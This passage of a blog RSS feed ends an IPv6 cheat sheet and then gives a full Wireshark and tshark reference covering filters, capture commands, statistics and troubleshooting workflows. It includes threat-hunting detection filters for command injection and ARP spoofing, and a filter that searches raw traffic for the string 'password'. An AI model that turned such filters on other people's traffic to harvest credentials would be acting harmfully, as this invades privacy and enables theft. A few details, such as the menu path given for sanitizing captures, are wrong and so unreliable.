<li>Confusing link-local addresses with globally routable ones during troubleshooting.</li>



<li>Leaving default Router Advertisement settings unmanaged on production networks, opening the door to rogue RA attacks.</li>
</ul>



<h2 class="wp-block-heading">FAQs</h2>



<p class="wp-block-paragraph"><strong>Does IPv6 use subnet masks like IPv4?</strong> Not in the same dotted-decimal way. IPv6 uses CIDR notation exclusively (like <code>/64</code>), and there&#8217;s no equivalent to IPv4&#8217;s subnet mask calculations for host counts, since the host portion is standardized at 64 bits.</p>



<p class="wp-block-paragraph"><strong>Do I need NAT with IPv6?</strong> No. IPv6&#8217;s address space is large enough that NAT isn&#8217;t required for address conservation. Some organizations still use NPTv6 (Network Prefix Translation) for specific renumbering scenarios, but it&#8217;s not a security requirement the way NAT is often assumed to be in IPv4.</p>



<p class="wp-block-paragraph"><strong>Can IPv6 and IPv4 coexist on the same network?</strong> Yes, this is called dual stack and it&#8217;s the most common transition strategy in use today.</p>



<p class="wp-block-paragraph"><strong>What&#8217;s the difference between link-local and unique local addresses?</strong> Link-local (<code>fe80::/10</code>) only works on the local network segment and isn&#8217;t routable. Unique local (<code>fc00::/7</code>) is routable within a private network but not on the public internet, similar in spirit to RFC1918 IPv4 space.</p>



<p class="wp-block-paragraph"><strong>Why does my IPv6 address change periodically?</strong> That&#8217;s likely IPv6 Privacy Extensions (RFC 4941) at work, which randomizes the interface ID to prevent long-term device tracking.</p>



<h2 class="wp-block-heading">Interview Questions on IPv6</h2>



<ol class="wp-block-list">
<li>Explain the structure of an IPv6 address and how compression rules work.</li>



<li>What is the difference between SLAAC and DHCPv6?</li>



<li>Why doesn&#8217;t IPv6 use broadcast, and what replaces it?</li>



<li>What is Neighbor Discovery Protocol, and what ICMPv6 types does it rely on?</li>



<li>How would you troubleshoot a host that has an IPv6 address but no internet connectivity?</li>



<li>What&#8217;s the purpose of a Unique Local Address, and how is it different from a Global Unicast Address?</li>



<li>Describe how NAT64/DNS64 allows IPv6-only clients to reach IPv4 resources.</li>



<li>Why is a /64 the standard subnet size in most IPv6 deployments?</li>



<li>What security risks are specific to IPv6 that don&#8217;t exist in IPv4, and how do you mitigate them?</li>



<li>What&#8217;s the difference between 6to4 tunneling and dual stack?</li>
</ol>



<h2 class="wp-block-heading">Printable Quick-Reference Summary</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Category</th><th>Key Facts</th></tr></thead><tbody><tr><td>Address length</td><td>128 bits, 8 groups of hex separated by colons</td></tr><tr><td>Loopback</td><td><code>::1</code></td></tr><tr><td>Link-local prefix</td><td><code>fe80::/10</code></td></tr><tr><td>ULA prefix</td><td><code>fc00::/7</code></td></tr><tr><td>Global unicast prefix</td><td><code>2000::/3</code></td></tr><tr><td>Multicast prefix</td><td><code>ff00::/8</code></td></tr><tr><td>Standard subnet size</td><td>/64</td></tr><tr><td>Point-to-point link size</td><td>/127</td></tr><tr><td>Common ISP allocation</td><td>/48 or /56</td></tr><tr><td>Address autoconfig</td><td>SLAAC or DHCPv6</td></tr><tr><td>No broadcast</td><td>Multicast handles all group communication</td></tr><tr><td>No NAT requirement</td><td>Address space large enough to avoid it</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Official Documentation and Further Reading</h2>



<ul class="wp-block-list">
<li><a href="https://www.rfc-editor.org/rfc/rfc8200">RFC 8200 – Internet Protocol, Version 6 (IPv6) Specification</a></li>



<li><a href="https://www.rfc-editor.org/rfc/rfc4291">RFC 4291 – IP Version 6 Addressing Architecture</a></li>



<li><a href="https://www.rfc-editor.org/rfc/rfc4941">RFC 4941 – Privacy Extensions for Stateless Address Autoconfiguration</a></li>



<li><a href="https://www.iana.org/assignments/ipv6-address-space/ipv6-address-space.xhtml">IANA IPv6 Address Space Registry</a></li>



<li><a href="https://www.cisco.com/c/en/us/support/docs/ip/ip-version-6-ipv6/">Cisco IPv6 Configuration Guide</a></li>
</ul>



<p class="wp-block-paragraph">I keep this page open in a tab whenever I&#8217;m configuring or troubleshooting IPv6, and I hope it saves you the same amount of time it&#8217;s saved me.</p>
<p>The post <a href="https://awjunaid.com/cheatsheet/ultimate-ipv6-cheat-sheet/">Ultimate IPv6 Cheat Sheet: Addressing, Subnetting, and Configuration Guide</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://awjunaid.com/cheatsheet/ultimate-ipv6-cheat-sheet/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">6015</post-id>	</item>
		<item>
		<title>Ultimate Wireshark Commands Cheat Sheet: Network Analysis and Packet Capture Reference</title>
		<link>https://awjunaid.com/cheatsheet/ultimate-wireshark-commands-cheat-sheet/</link>
					<comments>https://awjunaid.com/cheatsheet/ultimate-wireshark-commands-cheat-sheet/?noamp=mobile#respond</comments>
		
		<dc:creator><![CDATA[Abdul Wahab Junaid]]></dc:creator>
		<pubDate>Thu, 21 Sep 2023 06:40:46 +0000</pubDate>
				<category><![CDATA[Cheatsheet]]></category>
		<category><![CDATA[cheatsheet]]></category>
		<guid isPermaLink="false">https://awjunaid.com/?p=6007</guid>

					<description><![CDATA[<p>Wireshark is one of those tools I use constantly, but for years I only ever remembered about 20%&#8230;</p>
<p>The post <a href="https://awjunaid.com/cheatsheet/ultimate-wireshark-commands-cheat-sheet/">Ultimate Wireshark Commands Cheat Sheet: Network Analysis and Packet Capture Reference</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Wireshark is one of those tools I use constantly, but for years I only ever remembered about 20% of the filters and commands I actually needed in the moment. This cheat sheet is the reference I built for myself over time — the capture filters, display filters, command-line options, and troubleshooting workflows I reach for again and again. If you work in networking, security, or systems administration, I think you&#8217;ll find this useful too.</p>



<h2 class="wp-block-heading">Wireshark vs Tshark: Know What You&#8217;re Using</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Tool</th><th>Interface</th><th>Best For</th></tr></thead><tbody><tr><td>Wireshark</td><td>GUI</td><td>Deep analysis, visual inspection, following streams</td></tr><tr><td>Tshark</td><td>Command-line</td><td>Scripting, automation, headless servers, remote captures</td></tr><tr><td>Dumpcap</td><td>Command-line</td><td>Lightweight capture-only tool, used internally by Wireshark</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Installing Wireshark</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Platform</th><th>Command</th></tr></thead><tbody><tr><td>Ubuntu/Debian</td><td><code>sudo apt install wireshark</code></td></tr><tr><td>Fedora/RHEL</td><td><code>sudo dnf install wireshark</code></td></tr><tr><td>macOS (Homebrew)</td><td><code>brew install --cask wireshark</code></td></tr><tr><td>Windows</td><td>Download installer from official site</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">After installing on Linux, add your user to the <code>wireshark</code> group so you can capture without root:</p>



<pre class="wp-block-code"><code>sudo usermod -aG wireshark $USER
</code></pre>



<p class="wp-block-paragraph">Then log out and back in for the group change to apply.</p>



<h2 class="wp-block-heading">Capture Filters vs Display Filters (The Big Distinction)</h2>



<p class="wp-block-paragraph">This trips up a lot of beginners, so I want to be clear about it upfront:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Filter Type</th><th>When It Applies</th><th>Syntax Style</th><th>Purpose</th></tr></thead><tbody><tr><td>Capture Filter</td><td>Before packets are captured</td><td>BPF (Berkeley Packet Filter) syntax</td><td>Reduces what gets recorded, saves disk/memory</td></tr><tr><td>Display Filter</td><td>After packets are captured</td><td>Wireshark&#8217;s own filter syntax</td><td>Narrows down what you view, doesn&#8217;t delete data</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">You can&#8217;t use display filter syntax in the capture filter box, and vice versa — they&#8217;re genuinely different languages.</p>



<h2 class="wp-block-heading">Capture Filters Reference (BPF Syntax)</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Filter</th><th>Purpose</th></tr></thead><tbody><tr><td><code>host 192.168.1.10</code></td><td>Capture traffic to/from a specific host</td></tr><tr><td><code>net 192.168.1.0/24</code></td><td>Capture traffic within a subnet</td></tr><tr><td><code>port 443</code></td><td>Capture traffic on a specific port</td></tr><tr><td><code>portrange 1000-2000</code></td><td>Capture traffic within a port range</td></tr><tr><td><code>tcp</code></td><td>Capture only TCP traffic</td></tr><tr><td><code>udp</code></td><td>Capture only UDP traffic</td></tr><tr><td><code>icmp</code></td><td>Capture only ICMP traffic</td></tr><tr><td><code>src host 10.0.0.1</code></td><td>Capture traffic from a specific source</td></tr><tr><td><code>dst host 10.0.0.1</code></td><td>Capture traffic to a specific destination</td></tr><tr><td><code>not port 22</code></td><td>Exclude SSH traffic</td></tr><tr><td><code>host 10.0.0.1 and port 80</code></td><td>Combine conditions</td></tr><tr><td><code>broadcast</code></td><td>Capture broadcast traffic only</td></tr><tr><td><code>ether host aa:bb:cc:dd:ee:ff</code></td><td>Capture traffic for a specific MAC address</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Display Filters Reference (Wireshark Syntax)</h2>



<h3 class="wp-block-heading">Basic Filters</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Filter</th><th>Purpose</th></tr></thead><tbody><tr><td><code>ip.addr == 192.168.1.10</code></td><td>Show traffic to/from an IP</td></tr><tr><td><code>ip.src == 192.168.1.10</code></td><td>Show traffic sourced from an IP</td></tr><tr><td><code>ip.dst == 192.168.1.10</code></td><td>Show traffic destined to an IP</td></tr><tr><td><code>tcp.port == 443</code></td><td>Show traffic on a TCP port</td></tr><tr><td><code>udp.port == 53</code></td><td>Show traffic on a UDP port</td></tr><tr><td><code>tcp.flags.syn == 1</code></td><td>Show SYN packets (connection attempts)</td></tr><tr><td><code>tcp.flags.reset == 1</code></td><td>Show RST packets (connection resets)</td></tr><tr><td><code>http</code></td><td>Show only HTTP traffic</td></tr><tr><td><code>dns</code></td><td>Show only DNS traffic</td></tr><tr><td><code>tls</code> or <code>ssl</code></td><td>Show TLS/SSL traffic</td></tr><tr><td><code>arp</code></td><td>Show ARP traffic</td></tr><tr><td><code>icmp</code></td><td>Show ICMP traffic</td></tr></tbody></table></figure>



<h3 class="wp-block-heading">Combining Filters</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Filter</th><th>Purpose</th></tr></thead><tbody><tr><td><code>ip.addr == 10.0.0.1 &amp;&amp; tcp.port == 443</code></td><td>Both conditions must match (AND)</td></tr><tr><td><code>tcp.port == 80 || tcp.port == 443</code></td><td>Either condition matches (OR)</td></tr><tr><td><code>!(tcp.port == 22)</code></td><td>Exclude a condition (NOT)</td></tr><tr><td><code>ip.addr == 10.0.0.1 and not icmp</code></td><td>Combine AND with NOT</td></tr></tbody></table></figure>



<h3 class="wp-block-heading">Protocol-Specific Filters</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Filter</th><th>Purpose</th></tr></thead><tbody><tr><td><code>http.request.method == "POST"</code></td><td>Show only HTTP POST requests</td></tr><tr><td><code>http.response.code == 404</code></td><td>Show HTTP 404 responses</td></tr><tr><td><code>dns.qry.name == "example.com"</code></td><td>Show DNS queries for a specific domain</td></tr><tr><td><code>dns.flags.rcode != 0</code></td><td>Show DNS responses with errors</td></tr><tr><td><code>tls.handshake.type == 1</code></td><td>Show TLS Client Hello packets</td></tr><tr><td><code>tcp.analysis.retransmission</code></td><td>Show TCP retransmissions</td></tr><tr><td><code>tcp.analysis.duplicate_ack</code></td><td>Show duplicate ACKs</td></tr><tr><td><code>tcp.analysis.zero_window</code></td><td>Show zero window conditions (receiver buffer full)</td></tr><tr><td><code>ftp</code></td><td>Show FTP traffic</td></tr><tr><td><code>smtp</code></td><td>Show SMTP (email) traffic</td></tr><tr><td><code>icmp.type == 8</code></td><td>Show ICMP echo requests (ping)</td></tr><tr><td><code>icmp.type == 0</code></td><td>Show ICMP echo replies</td></tr></tbody></table></figure>



<h3 class="wp-block-heading">Filtering by Frame/Time</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Filter</th><th>Purpose</th></tr></thead><tbody><tr><td><code>frame.len &gt; 1000</code></td><td>Show packets larger than 1000 bytes</td></tr><tr><td><code>frame.time &gt;= "2026-01-01 00:00:00"</code></td><td>Show packets after a specific time</td></tr><tr><td><code>frame.number == 500</code></td><td>Jump to a specific packet number</td></tr><tr><td><code>frame contains "password"</code></td><td>Search raw frame content for a string</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Command-Line Capture with Tshark</h2>



<p class="wp-block-paragraph">Tshark is invaluable when you&#8217;re on a headless server or want to script captures.</p>



<pre class="wp-block-code"><code># Basic capture to a file
tshark -i eth0 -w capture.pcap

# Capture with a capture filter (BPF syntax)
tshark -i eth0 -f "port 443" -w https_traffic.pcap

# Read and apply a display filter to an existing capture
tshark -r capture.pcap -Y "http.request"

# Limit capture to a specific number of packets
tshark -i eth0 -c 100 -w sample.pcap

# Capture for a set duration (in seconds)
tshark -i eth0 -a duration:60 -w timed_capture.pcap

# Output specific fields only, useful for scripting
tshark -r capture.pcap -T fields -e ip.src -e ip.dst -e tcp.port

# List available interfaces
tshark -D
</code></pre>



<p class="wp-block-paragraph">Expected output for <code>tshark -D</code>:</p>



<pre class="wp-block-code"><code>1. eth0
2. wlan0
3. lo (Loopback)
4. any
</code></pre>



<h2 class="wp-block-heading">Command-Line Capture with Dumpcap</h2>



<pre class="wp-block-code"><code># Capture packets on an interface with a size limit and ring buffer
dumpcap -i eth0 -b filesize:10240 -b files:5 -w rotating_capture.pcap
</code></pre>



<p class="wp-block-paragraph">This is useful for long-running captures where you don&#8217;t want a single file to grow unbounded.</p>



<h2 class="wp-block-heading">Following Streams</h2>



<p class="wp-block-paragraph">One of the most useful features for actually reading a conversation between two hosts:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Action</th><th>How To Do It (GUI)</th><th>Tshark Equivalent</th></tr></thead><tbody><tr><td>Follow TCP Stream</td><td>Right-click packet &gt; Follow &gt; TCP Stream</td><td><code>tshark -r capture.pcap -q -z follow,tcp,ascii,0</code></td></tr><tr><td>Follow UDP Stream</td><td>Right-click packet &gt; Follow &gt; UDP Stream</td><td><code>tshark -r capture.pcap -q -z follow,udp,ascii,0</code></td></tr><tr><td>Follow HTTP Stream</td><td>Right-click packet &gt; Follow &gt; HTTP Stream</td><td><code>tshark -r capture.pcap -q -z follow,http,ascii,0</code></td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Statistics Menu Shortcuts</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Feature</th><th>GUI Path</th><th>Purpose</th></tr></thead><tbody><tr><td>Protocol Hierarchy</td><td>Statistics &gt; Protocol Hierarchy</td><td>See a breakdown of protocols by volume</td></tr><tr><td>Conversations</td><td>Statistics &gt; Conversations</td><td>See traffic grouped by endpoint pairs</td></tr><tr><td>Endpoints</td><td>Statistics &gt; Endpoints</td><td>See traffic grouped by individual hosts</td></tr><tr><td>I/O Graph</td><td>Statistics &gt; I/O Graph</td><td>Visualize traffic volume over time</td></tr><tr><td>Expert Info</td><td>Analyze &gt; Expert Information</td><td>Surface warnings, errors, and notable events</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Tshark equivalents:</p>



<pre class="wp-block-code"><code># Protocol hierarchy statistics
tshark -r capture.pcap -q -z io,phs

# Conversation statistics
tshark -r capture.pcap -q -z conv,tcp

# Expert info summary
tshark -r capture.pcap -q -z expert
</code></pre>



<h2 class="wp-block-heading">Coloring Rules (Reading Packets Faster)</h2>



<p class="wp-block-paragraph">Wireshark&#8217;s default coloring helps you scan a capture visually without reading every line:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Color</th><th>Meaning (Default Rules)</th></tr></thead><tbody><tr><td>Black background, red text</td><td>Checksum errors</td></tr><tr><td>Light purple</td><td>TCP traffic</td></tr><tr><td>Light blue</td><td>UDP traffic</td></tr><tr><td>Black</td><td>TCP packets with problems (retransmissions, resets)</td></tr><tr><td>Green</td><td>HTTP traffic</td></tr><tr><td>Yellow</td><td>Routing protocols and warnings</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">You can customize these under <strong>View &gt; Coloring Rules</strong>, and I&#8217;d recommend adding a rule to highlight retransmissions in a color you&#8217;ll spot instantly, since they&#8217;re often the first sign of network trouble.</p>



<h2 class="wp-block-heading">Common Keyboard Shortcuts</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Shortcut</th><th>Action</th></tr></thead><tbody><tr><td>Ctrl+E</td><td>Start/stop capture</td></tr><tr><td>Ctrl+F</td><td>Find packet</td></tr><tr><td>Ctrl+G</td><td>Go to specific packet number</td></tr><tr><td>Ctrl+R</td><td>Reload capture file</td></tr><tr><td>Ctrl+Shift+T</td><td>Time display format toggle</td></tr><tr><td>Ctrl+M</td><td>Mark/unmark a packet</td></tr><tr><td>Ctrl+Alt+Shift+T</td><td>Follow TCP stream</td></tr><tr><td>Tab</td><td>Jump to display filter bar</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Security and Threat-Hunting Filters</h2>



<p class="wp-block-paragraph">These are the ones I lean on most during incident response or general security review:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Filter</th><th>Purpose</th></tr></thead><tbody><tr><td><code>tcp.flags == 0x002</code></td><td>Isolate SYN packets, useful for spotting port scans</td></tr><tr><td><code>tcp.flags == 0x029</code></td><td>Detect unusual FIN+PSH+URG combinations (potential scan technique)</td></tr><tr><td><code>dns.qry.name matches "\.xyz$"</code></td><td>Spot DNS queries to suspicious TLDs</td></tr><tr><td><code>http.request.uri contains "cmd="</code></td><td>Look for possible command injection attempts</td></tr><tr><td><code>frame contains "eval("</code></td><td>Search raw payload for suspicious script content</td></tr><tr><td><code>ip.ttl &lt; 10</code></td><td>Spot unusually low TTL values, sometimes indicating spoofing or misconfigured tunneling</td></tr><tr><td><code>arp.duplicate-address-detected</code></td><td>Detect potential ARP spoofing / MITM attempts</td></tr><tr><td><code>tcp.analysis.retransmission and ip.addr == 10.0.0.5</code></td><td>Investigate connection quality issues from a specific host</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Configuration Profiles and Customization</h2>



<p class="wp-block-paragraph">Wireshark&#8217;s configuration profiles let you save entirely separate setups (coloring rules, column layouts, filter buttons) for different jobs. I keep a dedicated profile for security investigations and a different one for general performance troubleshooting.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Task</th><th>GUI Path</th></tr></thead><tbody><tr><td>Create a new profile</td><td>Edit &gt; Configuration Profiles &gt; &#8220;+&#8221;</td></tr><tr><td>Switch profiles</td><td>Right-click the profile name in the status bar</td></tr><tr><td>Customize columns</td><td>Edit &gt; Preferences &gt; Appearance &gt; Columns</td></tr><tr><td>Add a custom filter button</td><td>Right-click the filter bar &gt; &#8220;Apply as Filter&#8221; &gt; save as button</td></tr><tr><td>Sanitize/anonymize a capture</td><td>Tools like <code>tracewrangler</code> (Windows) or <code>bittwiste</code> (cross-platform) work alongside Wireshark for this</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Custom columns I add almost every time: TCP stream index, TCP window size, and delta time from previous displayed packet. They make scanning a busy capture much faster once they&#8217;re visible without opening every packet.</p>



<h2 class="wp-block-heading">Exporting and Extracting Data</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Task</th><th>How To Do It</th></tr></thead><tbody><tr><td>Export specific packets</td><td>File &gt; Export Specified Packets, choose displayed or marked packets</td></tr><tr><td>Export objects (files transferred over HTTP/SMB/etc.)</td><td>File &gt; Export Objects &gt; choose protocol</td></tr><tr><td>Export packet dissection as text/CSV</td><td>File &gt; Export Packet Dissections</td></tr><tr><td>Extract fields via command line</td><td><code>tshark -r capture.pcap -T fields -e frame.number -e ip.src -E header=y -E separator=,</code></td></tr><tr><td>Convert pcap to pcapng or vice versa</td><td><code>editcap -F pcapng input.pcap output.pcapng</code></td></tr><tr><td>Merge multiple capture files</td><td><code>mergecap -w merged.pcap file1.pcap file2.pcap</code></td></tr><tr><td>Split a large capture into chunks</td><td><code>editcap -c 10000 large.pcap split.pcap</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Exporting HTTP objects is genuinely one of my favorite features — if a capture includes a file download over plain HTTP, Wireshark can reconstruct and save that file directly from the packet data, which is incredibly useful for malware analysis or verifying what was actually transferred.</p>



<h2 class="wp-block-heading">Building a Repeatable Capture Workflow</h2>



<p class="wp-block-paragraph">For anything beyond a quick ad hoc look, I try to follow a consistent process so captures stay usable later and don&#8217;t turn into an unlabeled pile of pcap files:</p>



<ol class="wp-block-list">
<li><strong>Name captures with context</strong>: <code>hostname_issue-description_YYYYMMDD.pcap</code> beats <code>capture1.pcap</code> every time.</li>



<li><strong>Capture with a reasonable filter from the start</strong> if you already know the affected host or port, rather than capturing everything and filtering later.</li>



<li><strong>Set a snap length if you only need headers</strong>, not full payload, to keep file sizes manageable: <code>tshark -i eth0 -s 128 -w headers_only.pcap</code>.</li>



<li><strong>Rotate large captures automatically</strong> using <code>dumpcap</code>&#8216;s ring buffer options rather than letting one file grow unbounded.</li>



<li><strong>Document your filters alongside the capture</strong> — a short text file noting what you were investigating and which display filters you used saves everyone time if someone else picks up the analysis later.</li>



<li><strong>Archive resolved investigations</strong> rather than deleting them; packet captures from a past incident are often useful reference material for the next similar one.</li>
</ol>



<h2 class="wp-block-heading">Troubleshooting Workflow</h2>



<p class="wp-block-paragraph">When I sit down with a packet capture to troubleshoot a real problem, this is roughly the order I work in:</p>



<ol class="wp-block-list">
<li><strong>Check Protocol Hierarchy first.</strong> This immediately tells me what kind of traffic dominates the capture and whether anything unexpected shows up.</li>



<li><strong>Filter down to the affected host or conversation.</strong> Use <code>ip.addr ==</code> to narrow the noise.</li>



<li><strong>Look for retransmissions and resets.</strong> <code>tcp.analysis.retransmission</code> and <code>tcp.flags.reset == 1</code> often point straight to the problem.</li>



<li><strong>Check for DNS failures.</strong> <code>dns.flags.rcode != 0</code> surfaces failed lookups quickly.</li>



<li><strong>Follow the TCP stream</strong> for the specific connection in question to read the actual application-layer conversation.</li>



<li><strong>Check Expert Info</strong> for anything Wireshark itself flagged as unusual.</li>



<li><strong>Correlate timestamps with the reported issue window</strong> using the time filter to avoid wading through irrelevant traffic.</li>
</ol>



<h3 class="wp-block-heading">Common Symptom Table</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Symptom</th><th>Filter to Investigate</th><th>Likely Cause</th></tr></thead><tbody><tr><td>Slow application performance</td><td><code>tcp.analysis.zero_window</code></td><td>Receiver buffer exhausted</td></tr><tr><td>Intermittent connection drops</td><td><code>tcp.flags.reset == 1</code></td><td>Application or firewall resetting connections</td></tr><tr><td>DNS resolution failures</td><td><code>dns.flags.rcode != 0</code></td><td>Misconfigured DNS server or blocked queries</td></tr><tr><td>Packet loss suspicion</td><td><code>tcp.analysis.retransmission</code></td><td>Network congestion or faulty hardware</td></tr><tr><td>Suspected spoofing/MITM</td><td><code>arp.duplicate-address-detected</code></td><td>ARP cache poisoning</td></tr><tr><td>TLS handshake failures</td><td><code>tls.alert_message</code></td><td>Certificate mismatch or unsupported cipher suite</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Best Practices</h2>



<ul class="wp-block-list">
<li>Capture on the interface closest to the problem, not just whichever is convenient — a capture from the wrong segment can hide the real issue.</li>



<li>Use capture filters to reduce noise when you already know what you&#8217;re looking for; save display filters for exploratory analysis.</li>



<li>Save captures with descriptive filenames and timestamps, especially in incident response contexts where chain of custody matters.</li>



<li>Avoid capturing more than you need in production environments — full packet capture on a busy link can fill disk space fast.</li>



<li>When sharing captures with colleagues or vendors, sanitize sensitive payload data first (Wireshark has built-in tools for this under <strong>Edit > Configuration Profiles</strong>).</li>



<li>Learn tshark even if you prefer the GUI; it&#8217;s the only option on headless systems and it scripts beautifully into automated monitoring.</li>
</ul>



<h2 class="wp-block-heading">Real-World Use Cases</h2>



<ul class="wp-block-list">
<li><strong>Diagnosing slow file transfers</strong> by checking for zero window conditions and retransmissions between client and server.</li>



<li><strong>Investigating a suspected man-in-the-middle attack</strong> by filtering for duplicate ARP replies on a LAN segment.</li>



<li><strong>Auditing DNS traffic</strong> to catch exfiltration attempts disguised as DNS queries to unusual domains.</li>



<li><strong>Validating a TLS/SSL certificate rollout</strong> by confirming the correct certificate chain appears in the handshake.</li>



<li><strong>Capturing evidence during a security incident</strong> using tshark on a server without a GUI, then analyzing the resulting pcap on a workstation.</li>



<li><strong>Baselining normal traffic patterns</strong> with Statistics > Conversations before an infrastructure change, so you have something to compare against afterward.</li>
</ul>



<h2 class="wp-block-heading">Common Mistakes to Avoid</h2>



<ul class="wp-block-list">
<li>Mixing up capture filter syntax and display filter syntax — they are not interchangeable, and using one in the other&#8217;s field will either fail or silently do nothing useful.</li>



<li>Capturing on the wrong interface, especially in virtualized or multi-homed environments.</li>



<li>Leaving a full packet capture running unattended on a high-traffic link and running out of disk space.</li>



<li>Forgetting that <code>tcp.port</code> filters both source and destination — if you need directionality, use <code>tcp.srcport</code> or <code>tcp.dstport</code> specifically.</li>



<li>Not checking Expert Info before manually hunting through thousands of packets — it often surfaces the issue directly.</li>



<li>Assuming a single retransmission means a serious problem; occasional retransmissions are normal on any network. Look for patterns, not one-offs.</li>
</ul>



<h2 class="wp-block-heading">FAQs</h2>



<p class="wp-block-paragraph"><strong>What&#8217;s the difference between a capture filter and a display filter?</strong> Capture filters use BPF syntax and determine what gets recorded during the capture itself. Display filters use Wireshark&#8217;s own syntax and only change what&#8217;s shown from already-captured data — nothing is deleted.</p>



<p class="wp-block-paragraph"><strong>Can I run Wireshark without root/administrator privileges?</strong> On Linux, yes, if your user is added to the <code>wireshark</code> group so dumpcap can access raw sockets without full root. On Windows, the Npcap driver handles this after installation, and you may still need admin rights for the initial setup.</p>



<p class="wp-block-paragraph"><strong>How do I capture traffic on a remote server without a GUI?</strong> Use <code>tshark</code> or <code>dumpcap</code> on the remote machine to write a <code>.pcap</code> file, then transfer it to a workstation with the Wireshark GUI for deeper analysis.</p>



<p class="wp-block-paragraph"><strong>Why can&#8217;t I see HTTPS traffic content even though I captured it?</strong> TLS encrypts the payload, so you&#8217;ll see the handshake and metadata but not the application data unless you have the session keys (via <code>SSLKEYLOGFILE</code>) or a private key for decryption configured in Wireshark.</p>



<p class="wp-block-paragraph"><strong>What does &#8220;tcp.analysis.retransmission&#8221; actually indicate?</strong> It flags packets Wireshark believes were retransmitted, usually because the original packet was lost or the ACK wasn&#8217;t received in time. Occasional retransmissions are normal; frequent ones suggest congestion or a flaky link.</p>



<h2 class="wp-block-heading">Interview Questions on Wireshark</h2>



<ol class="wp-block-list">
<li>What&#8217;s the difference between a capture filter and a display filter, and can you give an example of each?</li>



<li>How would you identify TCP retransmissions in a packet capture, and what do they typically indicate?</li>



<li>Walk through how you&#8217;d investigate a suspected ARP spoofing attack using Wireshark.</li>



<li>What&#8217;s the purpose of the &#8220;Follow TCP Stream&#8221; feature, and when would you use it?</li>



<li>How do you capture traffic on a headless Linux server without a GUI?</li>



<li>Explain how you&#8217;d decrypt TLS traffic in Wireshark, assuming you have access to the session keys.</li>



<li>What&#8217;s the difference between <code>tcp.port</code> and <code>tcp.srcport</code>/<code>tcp.dstport</code>?</li>



<li>How would you use Wireshark&#8217;s Statistics menu to baseline normal network behavior?</li>



<li>What are some signs in a packet capture that indicate a DNS-based exfiltration attempt?</li>



<li>Describe a real troubleshooting scenario where packet capture analysis solved a problem other tools couldn&#8217;t.</li>
</ol>



<h2 class="wp-block-heading">Printable Quick-Reference Summary</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Category</th><th>Key Command/Filter</th></tr></thead><tbody><tr><td>Capture on interface</td><td><code>tshark -i eth0 -w capture.pcap</code></td></tr><tr><td>Capture with filter</td><td><code>tshark -i eth0 -f "port 443"</code></td></tr><tr><td>Read existing capture</td><td><code>tshark -r capture.pcap</code></td></tr><tr><td>Display filter (IP)</td><td><code>ip.addr == 192.168.1.10</code></td></tr><tr><td>Display filter (port)</td><td><code>tcp.port == 443</code></td></tr><tr><td>Show retransmissions</td><td><code>tcp.analysis.retransmission</code></td></tr><tr><td>Show SYN packets</td><td><code>tcp.flags.syn == 1</code></td></tr><tr><td>Follow TCP stream (CLI)</td><td><code>tshark -r capture.pcap -q -z follow,tcp,ascii,0</code></td></tr><tr><td>Protocol hierarchy (CLI)</td><td><code>tshark -r capture.pcap -q -z io,phs</code></td></tr><tr><td>List interfaces</td><td><code>tshark -D</code></td></tr><tr><td>DNS query filter</td><td><code>dns.qry.name == "example.com"</code></td></tr><tr><td>ARP spoof detection</td><td><code>arp.duplicate-address-detected</code></td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Official Documentation and Further Reading</h2>



<ul class="wp-block-list">
<li><a href="https://www.wireshark.org/docs/wsug_html_chunked/">Wireshark User&#8217;s Guide</a></li>



<li><a href="https://www.wireshark.org/docs/dfref/">Wireshark Display Filter Reference</a></li>



<li><a href="https://www.wireshark.org/docs/man-pages/tshark.html">Tshark Manual Page</a></li>



<li><a href="https://wiki.wireshark.org/CaptureFilters">Wireshark Wiki – Capture Filters</a></li>



<li><a href="https://wiki.wireshark.org/SampleCaptures">Wireshark Wiki – Security Analysis Tips</a></li>
</ul>



<p class="wp-block-paragraph">I go back to this cheat sheet constantly, whether I&#8217;m doing routine network health checks or digging into an actual incident. Bookmark it, print the summary table if that&#8217;s your style, and hopefully it saves you the same rabbit holes it&#8217;s saved me.</p>



<p class="wp-block-paragraph"></p>
